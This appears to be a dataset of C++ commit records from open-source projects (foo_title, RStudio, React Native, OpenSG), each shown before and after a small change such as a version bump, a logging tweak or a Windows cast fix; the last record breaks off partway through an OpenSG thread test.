text
stringlengths 54
60.6k
|
|---|
<commit_before>/*
Copyright 2005 - 2006 Roman Plasil
http://foo-title.sourceforge.net
This file is part of foo_title.
foo_title is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
(at your option) any later version.
foo_title is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with foo_title; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "stdafx.h"
using namespace System;
using namespace System::Reflection;
using namespace System::Runtime::CompilerServices;
using namespace System::Runtime::InteropServices;
using namespace System::Security::Permissions;
//
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
[assembly:AssemblyTitleAttribute("fooManagedWrapper")];
[assembly:AssemblyDescriptionAttribute("")];
[assembly:AssemblyConfigurationAttribute("")];
[assembly:AssemblyCompanyAttribute("")];
[assembly:AssemblyProductAttribute("fooManagedWrapper")];
[assembly:AssemblyCopyrightAttribute("Copyright (c) Roman Plasil 2006")];
[assembly:AssemblyTrademarkAttribute("")];
[assembly:AssemblyCultureAttribute("")];
//
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the value or you can default the Revision and Build Numbers
// by using the '*' as shown below:
[assembly:AssemblyVersionAttribute("0.3.3")];
[assembly:ComVisible(false)];
[assembly:CLSCompliantAttribute(true)];
[assembly:SecurityPermission(SecurityAction::RequestMinimum, UnmanagedCode = true)];
<commit_msg>refactored includes<commit_after>/*
Copyright 2005 - 2006 Roman Plasil
http://foo-title.sourceforge.net
This file is part of foo_title.
foo_title is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
(at your option) any later version.
foo_title is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with foo_title; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "stdafx.h"
using namespace System;
using namespace System::Reflection;
using namespace System::Runtime::CompilerServices;
using namespace System::Runtime::InteropServices;
using namespace System::Security::Permissions;
//
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
[assembly:AssemblyTitleAttribute("fooManagedWrapper")];
[assembly:AssemblyDescriptionAttribute("")];
[assembly:AssemblyConfigurationAttribute("")];
[assembly:AssemblyCompanyAttribute("")];
[assembly:AssemblyProductAttribute("fooManagedWrapper")];
[assembly:AssemblyCopyrightAttribute("Copyright (c) Roman Plasil 2008")];
[assembly:AssemblyTrademarkAttribute("")];
[assembly:AssemblyCultureAttribute("")];
//
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the value or you can default the Revision and Build Numbers
// by using the '*' as shown below:
[assembly:AssemblyVersionAttribute("0.5")];
[assembly:ComVisible(false)];
[assembly:CLSCompliantAttribute(true)];
[assembly:SecurityPermission(SecurityAction::RequestMinimum, UnmanagedCode = true)];
<|endoftext|>
|
<commit_before>/*
* AsyncConnectionImpl.hpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#ifndef CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
#define CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
#include <boost/array.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/function.hpp>
#include <boost/enable_shared_from_this.hpp>
#include <boost/asio/write.hpp>
#include <boost/asio/io_service.hpp>
#include <boost/asio/placeholders.hpp>
#include <core/Error.hpp>
#include <core/Log.hpp>
#include <core/http/Request.hpp>
#include <core/http/Response.hpp>
#include <core/http/SocketUtils.hpp>
#include <core/http/RequestParser.hpp>
#include <core/http/AsyncConnection.hpp>
namespace core {
namespace http {
template <typename ProtocolType>
class AsyncConnectionImpl :
public AsyncConnection,
public boost::enable_shared_from_this<AsyncConnectionImpl<ProtocolType> >,
boost::noncopyable
{
public:
typedef boost::function<void(
boost::shared_ptr<AsyncConnectionImpl<ProtocolType> >,
http::Request*)> Handler;
typedef boost::function<void(http::Response*)> ResponseFilter;
public:
AsyncConnectionImpl(boost::asio::io_service& ioService,
const Handler& handler,
const ResponseFilter& responseFilter =ResponseFilter())
: ioService_(ioService),
socket_(ioService),
handler_(handler),
responseFilter_(responseFilter)
{
}
typename ProtocolType::socket& socket()
{
return socket_;
}
void startReading()
{
readSome();
}
virtual boost::asio::io_service& ioService()
{
return ioService_;
}
virtual const http::Request& request() const
{
return request_;
}
virtual http::Response& response()
{
return response_;
}
virtual void writeResponse(bool close = true)
{
// add extra response headers
response_.setHeader("Date", util::httpDate());
if (close)
response_.setHeader("Connection", "close");
// call the response filter if we have one
if (responseFilter_)
responseFilter_(&response_);
// write
boost::asio::async_write(
socket_,
response_.toBuffers(),
boost::bind(
&AsyncConnectionImpl<ProtocolType>::handleWrite,
AsyncConnectionImpl<ProtocolType>::shared_from_this(),
boost::asio::placeholders::error,
close)
);
}
virtual void writeResponse(const http::Response& response, bool close = true)
{
response_.assign(response);
writeResponse(close);
}
virtual void writeError(const Error& error)
{
response_.setError(error);
writeResponse();
}
// satisfy lower-level http::Socket interface (used when the connection
// is upgraded to a websocket connection and no longer conforms to the
// request/response protocol used by the class in the ordinary course
// of business)
virtual void asyncReadSome(boost::asio::mutable_buffers_1 buffer,
Socket::Handler handler)
{
socket().async_read_some(buffer, handler);
}
virtual void asyncWrite(
const std::vector<boost::asio::const_buffer>& buffers,
Socket::Handler handler)
{
boost::asio::async_write(socket(), buffers, handler);
}
virtual void close()
{
Error error = closeSocket(socket_);
if (error)
LOG_ERROR(error);
}
private:
void handleRead(const boost::system::error_code& e,
std::size_t bytesTransferred)
{
try
{
if (!e)
{
// parse next chunk
RequestParser::status status = requestParser_.parse(
request_,
buffer_.data(),
buffer_.data() + bytesTransferred);
// error - return bad request
if (status == RequestParser::error)
{
response_.setStatusCode(http::status::BadRequest);
writeResponse();
}
// incomplete -- keep reading
else if (status == RequestParser::incomplete)
{
readSome();
}
// got valid request -- handle it
else
{
handler_(AsyncConnectionImpl<ProtocolType>::shared_from_this(),
&request_);
}
}
else // error reading
{
// log the error if it wasn't connection terminated
Error error(e, ERROR_LOCATION);
if (!isConnectionTerminatedError(error))
LOG_ERROR(error);
// close the socket
error = closeSocket(socket_);
if (error)
LOG_ERROR(error);
//
// no more async operations are initiated here so the shared_ptr to
// this connection no more references and is automatically destroyed
//
}
}
CATCH_UNEXPECTED_EXCEPTION
}
void handleWrite(const boost::system::error_code& e, bool close)
{
try
{
if (e)
{
// log the error if it wasn't connection terminated
Error error(e, ERROR_LOCATION);
if (!http::isConnectionTerminatedError(error))
LOG_ERROR(error);
}
// close the socket
if (close)
{
Error error = closeSocket(socket_);
if (error)
LOG_ERROR(error);
}
//
// no more async operations are initiated here so the shared_ptr to
// this connection no more references and is automatically destroyed
//
}
CATCH_UNEXPECTED_EXCEPTION
}
void readSome()
{
socket_.async_read_some(
boost::asio::buffer(buffer_),
boost::bind(
&AsyncConnectionImpl<ProtocolType>::handleRead,
AsyncConnectionImpl<ProtocolType>::shared_from_this(),
boost::asio::placeholders::error,
boost::asio::placeholders::bytes_transferred)
);
}
private:
boost::asio::io_service& ioService_;
typename ProtocolType::socket socket_;
Handler handler_;
ResponseFilter responseFilter_;
boost::array<char, 8192> buffer_ ;
RequestParser requestParser_ ;
http::Request request_;
http::Response response_;
};
} // namespace http
} // namespace core
#endif // CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
<commit_msg>don't log connection terminated errors when closing async connections<commit_after>/*
* AsyncConnectionImpl.hpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#ifndef CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
#define CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
#include <boost/array.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/function.hpp>
#include <boost/enable_shared_from_this.hpp>
#include <boost/asio/write.hpp>
#include <boost/asio/io_service.hpp>
#include <boost/asio/placeholders.hpp>
#include <core/Error.hpp>
#include <core/Log.hpp>
#include <core/http/Request.hpp>
#include <core/http/Response.hpp>
#include <core/http/SocketUtils.hpp>
#include <core/http/RequestParser.hpp>
#include <core/http/AsyncConnection.hpp>
namespace core {
namespace http {
template <typename ProtocolType>
class AsyncConnectionImpl :
public AsyncConnection,
public boost::enable_shared_from_this<AsyncConnectionImpl<ProtocolType> >,
boost::noncopyable
{
public:
typedef boost::function<void(
boost::shared_ptr<AsyncConnectionImpl<ProtocolType> >,
http::Request*)> Handler;
typedef boost::function<void(http::Response*)> ResponseFilter;
public:
AsyncConnectionImpl(boost::asio::io_service& ioService,
const Handler& handler,
const ResponseFilter& responseFilter =ResponseFilter())
: ioService_(ioService),
socket_(ioService),
handler_(handler),
responseFilter_(responseFilter)
{
}
typename ProtocolType::socket& socket()
{
return socket_;
}
void startReading()
{
readSome();
}
virtual boost::asio::io_service& ioService()
{
return ioService_;
}
virtual const http::Request& request() const
{
return request_;
}
virtual http::Response& response()
{
return response_;
}
virtual void writeResponse(bool close = true)
{
// add extra response headers
response_.setHeader("Date", util::httpDate());
if (close)
response_.setHeader("Connection", "close");
// call the response filter if we have one
if (responseFilter_)
responseFilter_(&response_);
// write
boost::asio::async_write(
socket_,
response_.toBuffers(),
boost::bind(
&AsyncConnectionImpl<ProtocolType>::handleWrite,
AsyncConnectionImpl<ProtocolType>::shared_from_this(),
boost::asio::placeholders::error,
close)
);
}
virtual void writeResponse(const http::Response& response, bool close = true)
{
response_.assign(response);
writeResponse(close);
}
virtual void writeError(const Error& error)
{
response_.setError(error);
writeResponse();
}
// satisfy lower-level http::Socket interface (used when the connection
// is upgraded to a websocket connection and no longer conforms to the
// request/response protocol used by the class in the ordinary course
// of business)
virtual void asyncReadSome(boost::asio::mutable_buffers_1 buffer,
Socket::Handler handler)
{
socket().async_read_some(buffer, handler);
}
virtual void asyncWrite(
const std::vector<boost::asio::const_buffer>& buffers,
Socket::Handler handler)
{
boost::asio::async_write(socket(), buffers, handler);
}
virtual void close()
{
Error error = closeSocket(socket_);
if (error && !core::http::isConnectionTerminatedError(error))
LOG_ERROR(error);
}
private:
void handleRead(const boost::system::error_code& e,
std::size_t bytesTransferred)
{
try
{
if (!e)
{
// parse next chunk
RequestParser::status status = requestParser_.parse(
request_,
buffer_.data(),
buffer_.data() + bytesTransferred);
// error - return bad request
if (status == RequestParser::error)
{
response_.setStatusCode(http::status::BadRequest);
writeResponse();
}
// incomplete -- keep reading
else if (status == RequestParser::incomplete)
{
readSome();
}
// got valid request -- handle it
else
{
handler_(AsyncConnectionImpl<ProtocolType>::shared_from_this(),
&request_);
}
}
else // error reading
{
// log the error if it wasn't connection terminated
Error error(e, ERROR_LOCATION);
if (!isConnectionTerminatedError(error))
LOG_ERROR(error);
// close the socket
error = closeSocket(socket_);
if (error)
LOG_ERROR(error);
//
// no more async operations are initiated here so the shared_ptr to
// this connection no more references and is automatically destroyed
//
}
}
CATCH_UNEXPECTED_EXCEPTION
}
void handleWrite(const boost::system::error_code& e, bool close)
{
try
{
if (e)
{
// log the error if it wasn't connection terminated
Error error(e, ERROR_LOCATION);
if (!http::isConnectionTerminatedError(error))
LOG_ERROR(error);
}
// close the socket
if (close)
{
Error error = closeSocket(socket_);
if (error)
LOG_ERROR(error);
}
//
// no more async operations are initiated here so the shared_ptr to
// this connection no more references and is automatically destroyed
//
}
CATCH_UNEXPECTED_EXCEPTION
}
void readSome()
{
socket_.async_read_some(
boost::asio::buffer(buffer_),
boost::bind(
&AsyncConnectionImpl<ProtocolType>::handleRead,
AsyncConnectionImpl<ProtocolType>::shared_from_this(),
boost::asio::placeholders::error,
boost::asio::placeholders::bytes_transferred)
);
}
private:
boost::asio::io_service& ioService_;
typename ProtocolType::socket socket_;
Handler handler_;
ResponseFilter responseFilter_;
boost::array<char, 8192> buffer_ ;
RequestParser requestParser_ ;
http::Request request_;
http::Response response_;
};
} // namespace http
} // namespace core
#endif // CORE_HTTP_ASYNC_CONNECTION_IMPL_HPP
<|endoftext|>
|
<commit_before>/*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#include "RawPropsParser.h"
#include <folly/Likely.h>
#include <react/debug/react_native_assert.h>
#include <react/renderer/core/RawProps.h>
#include <glog/logging.h>
namespace facebook {
namespace react {
// During parser initialization, Props structs are used to parse
// "fake"/empty objects, and `at` is called repeatedly which tells us
// which props are accessed during parsing, and in which order.
RawValue const *RawPropsParser::at(
RawProps const &rawProps,
RawPropsKey const &key) const noexcept {
if (UNLIKELY(!ready_)) {
// Check against the same key being inserted more than once.
// This happens commonly with nested Props structs, where the higher-level
// struct may access all fields, and then the nested Props struct may
// access fields a second (or third, etc) time.
// Without this, multiple entries will be created for the same key, but
// only the first access of the key will return a sensible value.
// The complexity of this is (n + (n - 1) + (n - 2) + ... + (n - (n - 1) +
// 1))) or n*n - (1/2)(n*(n+1)). If there are 100 props, this will result in
// 4950 lookups and equality checks on initialization of the parser, which
// happens exactly once per component.
size_t size = keys_.size();
for (int i = 0; i < size; i++) {
if (keys_[i] == key) {
return nullptr;
}
}
// This is not thread-safe part; this happens only during initialization of
// a `ComponentDescriptor` where it is actually safe.
keys_.push_back(key);
nameToIndex_.insert(key, static_cast<RawPropsValueIndex>(size));
return nullptr;
}
// Normally, keys are looked up in-order. For performance we can simply
// increment this key counter, and if the key is equal to the key at the next
// index, there's no need to do any lookups. However, it's possible for keys
// to be accessed out-of-order or multiple times, in which case we start
// searching again from index 0.
// To prevent infinite loops (which can occur if
// you look up a key that doesn't exist) we keep track of whether or not we've
// already looped around, and log and return nullptr if so. However, we ONLY
// do this in debug mode, where you're more likely to look up a nonexistent
// key as part of debugging. You can (and must) ensure infinite loops are not
// possible in production by: (1) constructing all props objects without
// conditionals, or (2) if there are conditionals, ensure that in the parsing
// setup case, the Props constructor will access _all_ possible props. To
// ensure this performance optimization is utilized, always access props in
// the same order every time. This is trivial if you have a simple Props
// constructor, but difficult or impossible if you have a shared sub-prop
// Struct that is used by multiple parent Props.
#ifdef REACT_NATIVE_DEBUG
bool resetLoop = false;
#endif
do {
rawProps.keyIndexCursor_++;
if (UNLIKELY(rawProps.keyIndexCursor_ >= keys_.size())) {
#ifdef REACT_NATIVE_DEBUG
if (resetLoop) {
LOG(ERROR) << "Looked up RawProps key that does not exist: "
<< (std::string)key;
return nullptr;
}
resetLoop = true;
#endif
rawProps.keyIndexCursor_ = 0;
}
} while (UNLIKELY(key != keys_[rawProps.keyIndexCursor_]));
auto valueIndex = rawProps.keyIndexToValueIndex_[rawProps.keyIndexCursor_];
return valueIndex == kRawPropsValueIndexEmpty ? nullptr
: &rawProps.values_[valueIndex];
}
void RawPropsParser::postPrepare() noexcept {
ready_ = true;
nameToIndex_.reindex();
}
void RawPropsParser::preparse(RawProps const &rawProps) const noexcept {
const size_t keyCount = keys_.size();
rawProps.keyIndexToValueIndex_.resize(keyCount, kRawPropsValueIndexEmpty);
// Resetting the cursor, the next increment will give `0`.
rawProps.keyIndexCursor_ = keyCount - 1;
switch (rawProps.mode_) {
case RawProps::Mode::Empty:
return;
case RawProps::Mode::JSI: {
auto &runtime = *rawProps.runtime_;
if (!rawProps.value_.isObject()) {
LOG(ERROR) << "Preparse props: rawProps value is not object";
}
react_native_assert(rawProps.value_.isObject());
auto object = rawProps.value_.asObject(runtime);
auto names = object.getPropertyNames(runtime);
auto count = names.size(runtime);
auto valueIndex = RawPropsValueIndex{0};
for (size_t i = 0; i < count; i++) {
auto nameValue = names.getValueAtIndex(runtime, i).getString(runtime);
auto value = object.getProperty(runtime, nameValue);
auto name = nameValue.utf8(runtime);
auto keyIndex = nameToIndex_.at(
name.data(), static_cast<RawPropsPropNameLength>(name.size()));
if (keyIndex == kRawPropsValueIndexEmpty) {
continue;
}
rawProps.keyIndexToValueIndex_[keyIndex] = valueIndex;
rawProps.values_.push_back(
RawValue(jsi::dynamicFromValue(runtime, value)));
valueIndex++;
}
break;
}
case RawProps::Mode::Dynamic: {
auto const &dynamic = rawProps.dynamic_;
auto valueIndex = RawPropsValueIndex{0};
for (auto const &pair : dynamic.items()) {
auto name = pair.first.getString();
auto keyIndex = nameToIndex_.at(
name.data(), static_cast<RawPropsPropNameLength>(name.size()));
if (keyIndex == kRawPropsValueIndexEmpty) {
continue;
}
rawProps.keyIndexToValueIndex_[keyIndex] = valueIndex;
rawProps.values_.push_back(RawValue{pair.second});
valueIndex++;
}
break;
}
}
}
} // namespace react
} // namespace facebook
<commit_msg>Fix RawPropsParser for Windows (#33432)<commit_after>/*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#include "RawPropsParser.h"
#include <folly/Likely.h>
#include <react/debug/react_native_assert.h>
#include <react/renderer/core/RawProps.h>
#include <glog/logging.h>
namespace facebook {
namespace react {
// During parser initialization, Props structs are used to parse
// "fake"/empty objects, and `at` is called repeatedly which tells us
// which props are accessed during parsing, and in which order.
RawValue const *RawPropsParser::at(
RawProps const &rawProps,
RawPropsKey const &key) const noexcept {
if (UNLIKELY(!ready_)) {
// Check against the same key being inserted more than once.
// This happens commonly with nested Props structs, where the higher-level
// struct may access all fields, and then the nested Props struct may
// access fields a second (or third, etc) time.
// Without this, multiple entries will be created for the same key, but
// only the first access of the key will return a sensible value.
// The complexity of this is (n + (n - 1) + (n - 2) + ... + (n - (n - 1) +
// 1))) or n*n - (1/2)(n*(n+1)). If there are 100 props, this will result in
// 4950 lookups and equality checks on initialization of the parser, which
// happens exactly once per component.
size_t size = keys_.size();
for (int i = 0; i < size; i++) {
if (keys_[i] == key) {
return nullptr;
}
}
// This is not thread-safe part; this happens only during initialization of
// a `ComponentDescriptor` where it is actually safe.
keys_.push_back(key);
nameToIndex_.insert(key, static_cast<RawPropsValueIndex>(size));
return nullptr;
}
// Normally, keys are looked up in-order. For performance we can simply
// increment this key counter, and if the key is equal to the key at the next
// index, there's no need to do any lookups. However, it's possible for keys
// to be accessed out-of-order or multiple times, in which case we start
// searching again from index 0.
// To prevent infinite loops (which can occur if
// you look up a key that doesn't exist) we keep track of whether or not we've
// already looped around, and log and return nullptr if so. However, we ONLY
// do this in debug mode, where you're more likely to look up a nonexistent
// key as part of debugging. You can (and must) ensure infinite loops are not
// possible in production by: (1) constructing all props objects without
// conditionals, or (2) if there are conditionals, ensure that in the parsing
// setup case, the Props constructor will access _all_ possible props. To
// ensure this performance optimization is utilized, always access props in
// the same order every time. This is trivial if you have a simple Props
// constructor, but difficult or impossible if you have a shared sub-prop
// Struct that is used by multiple parent Props.
#ifdef REACT_NATIVE_DEBUG
bool resetLoop = false;
#endif
do {
rawProps.keyIndexCursor_++;
if (UNLIKELY(rawProps.keyIndexCursor_ >= keys_.size())) {
#ifdef REACT_NATIVE_DEBUG
if (resetLoop) {
LOG(ERROR) << "Looked up RawProps key that does not exist: "
<< (std::string)key;
return nullptr;
}
resetLoop = true;
#endif
rawProps.keyIndexCursor_ = 0;
}
} while (UNLIKELY(key != keys_[rawProps.keyIndexCursor_]));
auto valueIndex = rawProps.keyIndexToValueIndex_[rawProps.keyIndexCursor_];
return valueIndex == kRawPropsValueIndexEmpty ? nullptr
: &rawProps.values_[valueIndex];
}
void RawPropsParser::postPrepare() noexcept {
ready_ = true;
nameToIndex_.reindex();
}
void RawPropsParser::preparse(RawProps const &rawProps) const noexcept {
const size_t keyCount = keys_.size();
rawProps.keyIndexToValueIndex_.resize(keyCount, kRawPropsValueIndexEmpty);
// Resetting the cursor, the next increment will give `0`.
rawProps.keyIndexCursor_ = static_cast<int>(keyCount - 1);
switch (rawProps.mode_) {
case RawProps::Mode::Empty:
return;
case RawProps::Mode::JSI: {
auto &runtime = *rawProps.runtime_;
if (!rawProps.value_.isObject()) {
LOG(ERROR) << "Preparse props: rawProps value is not object";
}
react_native_assert(rawProps.value_.isObject());
auto object = rawProps.value_.asObject(runtime);
auto names = object.getPropertyNames(runtime);
auto count = names.size(runtime);
auto valueIndex = RawPropsValueIndex{0};
for (size_t i = 0; i < count; i++) {
auto nameValue = names.getValueAtIndex(runtime, i).getString(runtime);
auto value = object.getProperty(runtime, nameValue);
auto name = nameValue.utf8(runtime);
auto keyIndex = nameToIndex_.at(
name.data(), static_cast<RawPropsPropNameLength>(name.size()));
if (keyIndex == kRawPropsValueIndexEmpty) {
continue;
}
rawProps.keyIndexToValueIndex_[keyIndex] = valueIndex;
rawProps.values_.push_back(
RawValue(jsi::dynamicFromValue(runtime, value)));
valueIndex++;
}
break;
}
case RawProps::Mode::Dynamic: {
auto const &dynamic = rawProps.dynamic_;
auto valueIndex = RawPropsValueIndex{0};
for (auto const &pair : dynamic.items()) {
auto name = pair.first.getString();
auto keyIndex = nameToIndex_.at(
name.data(), static_cast<RawPropsPropNameLength>(name.size()));
if (keyIndex == kRawPropsValueIndexEmpty) {
continue;
}
rawProps.keyIndexToValueIndex_[keyIndex] = valueIndex;
rawProps.values_.push_back(RawValue{pair.second});
valueIndex++;
}
break;
}
}
}
} // namespace react
} // namespace facebook
<|endoftext|>
|
<commit_before>
#include "OSGBaseInitFunctions.h"
#include "OSGNode.h"
#ifdef OSG_USE_PTHREADS
#include <pthread.h>
pthread_t oThread;
void *runThread(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
return NULL;
}
void runThread1(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
}
int main (int argc, char **argv)
{
OSG::osgInit(argc, argv);
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::Thread::setFallbackAspectId(42);
#endif
#ifdef OSG_ENABLE_AUTOINIT_THREADS
pthread_create(&oThread, NULL, runThread, NULL);
pthread_join(oThread, NULL);
#endif
#if 1
OSG::ThreadRefPtr pThread = OSG::Thread::get(NULL, false);
pThread->runFunction(runThread1, 0, NULL);
OSG::Thread::join(pThread);
pThread = NULL;
#endif
OSG::osgExit();
return 0;
}
#endif
#ifdef OSG_USE_WINTHREADS
OSG::Handle oThread;
void *runThread(void *)
{
fprintf(stderr, "run thread \n");
#if 1
fprintf(stderr, "%d ",
OSG::Thread::getCurrentAspect ());
fprintf(stderr, "th : T:%p ",
OSG::Thread::getCurrent ());
fprintf(stderr, "CL:%p ",
OSG::Thread::getCurrentChangeList ());
fprintf(stderr, "0x%016"PRIx64" ",
OSG::Thread::getCurrentNamespaceMask());
fprintf(stderr, "0x%016"PRIx64"\n",
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
#endif
fprintf(stderr, "exit thread\n");
return NULL;
}
void runThread1(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : CL:%p T:%p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : CL:%p T:%p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
}
int main (int argc, char **argv)
{
OSG::osgInit(argc, argv);
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::Thread::setFallbackAspectId(42);
#endif
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::DWord tmp;
OSG::Handle rc = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE) runThread,
0,
0,
&tmp);
WaitForSingleObject(rc, INFINITE);
#endif
#if 1
OSG::Thread *pThread = OSG::Thread::get(NULL);
pThread->runFunction(runThread1, 0, NULL);
OSG::Thread::join(pThread);
OSG::subRef(pThread);
#endif
OSG::osgExit();
return 0;
}
#endif
<commit_msg>fixed: win compile error (missing mt object changes)<commit_after>
#include "OSGBaseInitFunctions.h"
#include "OSGNode.h"
#ifdef OSG_USE_PTHREADS
#include <pthread.h>
pthread_t oThread;
void *runThread(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
return NULL;
}
void runThread1(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : %p %p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
}
int main (int argc, char **argv)
{
OSG::osgInit(argc, argv);
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::Thread::setFallbackAspectId(42);
#endif
#ifdef OSG_ENABLE_AUTOINIT_THREADS
pthread_create(&oThread, NULL, runThread, NULL);
pthread_join(oThread, NULL);
#endif
#if 1
